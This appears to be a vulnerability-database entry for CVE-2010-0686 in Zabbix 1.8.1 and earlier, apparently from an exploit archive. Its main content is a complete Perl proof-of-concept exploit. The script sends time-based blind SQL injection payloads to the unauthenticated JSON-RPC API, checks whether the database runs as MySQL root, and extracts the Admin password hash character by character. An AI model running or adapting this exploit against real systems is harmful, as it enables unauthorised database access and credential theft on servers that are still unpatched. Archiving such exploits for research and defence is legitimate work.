Lucene search
K

ZABBIX<= 1.8.1 DBcondition函数SQL注入漏洞

🗓️ 02 Apr 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

ZABBIX<= 1.8.1 SQL Injection in DBcondition Functio

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2010-0686
1 Apr 201019:00
cve
Cvelist
CVE-2010-0686
1 Apr 201019:00
cvelist
EUVD
EUVD-2010-0713
7 Oct 202500:30
euvd
NVD
CVE-2010-0686
1 Apr 201019:30
nvd
OpenVAS
VMware WebAccess Multiple Vulnerabilities - Windows
13 Apr 201000:00
openvas
OpenVAS
VMware WebAccess Multiple Vulnerabilities - Linux
13 Apr 201000:00
openvas
OpenVAS
VMware WebAccess Multiple Vulnerabilities (Windows)
13 Apr 201000:00
openvas
OpenVAS
VMware WebAccess Multiple Vulnerabilities (Linux)
13 Apr 201000:00
openvas
Prion
Spoofing
1 Apr 201019:30
prion
securityvulns
VMSA-2010-0005 VMware products address vulnerabilities in WebAccess
31 Mar 201000:00
securityvulns
Rows per page

                                                #!/usr/bin/perl

#
# zabbix181api.pl - Zabbix &lt;= 1.8.1 API SQL Injection PoC Exploit
#
# Copyright (c) 2010 
# Dawid Golunski &lt;dawid[!]legalhackers.com&gt;
# legalhackers.com
#
# Description
# -----------
# A PoC exploit for Zabbix &lt;= 1.8.1 API (api_jsonrpc.php) prone to
# an sql injection attack allowing unauthenticated users to access 
# the backend database.
# The exploit performs a blind time-based sql injection attack to 
# retrieve Zabbix Admin's password hash and check if Zabbix uses a
# MySQL root account.
#
# Example
# -----------
# $ ./zabbix181api.pl http://10.0.0.1/zabbix
# Target: http://10.0.0.1/zabbix
# Reqtime: 0.2s ; SleepTime: 0.4s 
# 
# Checking if zabbix uses mysql root account... No
#
# Extracting Admin's password hash from zabbix users table:
# 5fce1b3c34b520ageffb47ce08a7cd76
# Job done.
# 


use Time::HiRes qw(gettimeofday tv_interval);
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

my $zabbix_api_url = shift || die &quot;No target url provided. Exiting.\n&quot;;
$zabbix_api_url .= &quot;/api_jsonrpc.php&quot;;
my $ua = LWP::UserAgent-&gt;new;
$ua-&gt;timeout(8);

sub sendRequest 
{
	my ($api_url, $data) = @_;
	my $start_time = [gettimeofday];
	my $response = $ua-&gt;request(POST &quot;$api_url&quot;, 
		Content_Type =&gt; &quot;application/json-rpc&quot;,
		Content =&gt; &quot;$data&quot;);
	my $end_time = [gettimeofday];
	my $elapsed_time = tv_interval($start_time,$end_time);
	my $elapsed_time_sec = sprintf &quot;%.1f&quot;, $elapsed_time;

	my %result = (&quot;content&quot;, $response-&gt;content, 
		      &quot;code&quot;, $response-&gt;code,
		      &quot;success&quot;, ($response-&gt;is_success() ? 1 : 0),
		      &quot;time&quot;, $elapsed_time_sec);
	return %result;
}

%result  = sendRequest($zabbix_api_url, &quot;&quot;);
if ($result{success} ne 1) {
	die &quot;Could not access zabbix API.\n&quot;;
}
my $req_time = $result{time};
my $sleep_time = ($req_time * 2.0);

print &quot;Target: $zabbix_api_url\n&quot;;
print &quot;Reqtime: ${req_time}s ; SleepTime: ${sleep_time}s \n\n&quot;;

$| = 1;

print &quot;Checking if zabbix uses mysql root account... &quot;;
my $jsondata = '{&quot;auth&quot;:null,&quot;method&quot;:&quot;user.authenticate&quot;,&quot;id&quot;:1,&quot;params&quot;:{'.
	       '&quot;password&quot;:&quot;apitest123&quot;,'.
	       '&quot;user&quot;:&quot;Admin\') ) OR '.
	       'if (!strcmp(substring(user(),1,4),\'root\'),sleep('.$sleep_time.'),0) '.
	       ' -- end &quot;},&quot;jsonrpc&quot;:&quot;2.0&quot;}';
%result = sendRequest($zabbix_api_url, $jsondata);
print $result{content};
if ($result{time}  &gt;= $sleep_time) {
	print &quot;Yes!\n\n&quot;;
} else {
	print &quot;No\n\n&quot;;
}

my $username = &quot;Admin&quot;;
my @chars = (0 .. 10, &quot;a&quot; .. &quot;f&quot;);
my $md5_hash = &quot;&quot;;
print &quot;Extracting Admin's password hash from zabbix users table:\n&quot;;
for (my $offset=1; $offset&lt;=32; $offset++) {
    for (my $idx=0; $idx&lt;(scalar @chars); $idx++) {
	$jsondata = '{&quot;auth&quot;:null,&quot;method&quot;:&quot;user.authenticate&quot;,&quot;id&quot;:1,&quot;params&quot;:{'.
		       '&quot;password&quot;:&quot;apitest123&quot;,'.
		       '&quot;user&quot;:&quot;'.$username.'\') ) AND '.
		       'if (!strcmp(substring(u.passwd,'.$offset.',1),\''.$chars[$idx].'\'),sleep('.$sleep_time.'),0) '.
		       ' -- end &quot;},&quot;jsonrpc&quot;:&quot;2.0&quot;}';
	%result = sendRequest($zabbix_api_url, $jsondata);
	if ($result{time}  &gt;= $sleep_time) {
		$md5_hash .= $chars[$idx];
		print $chars[$idx];
	} 
    }
}
print &quot;\nJob done.\n&quot;;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation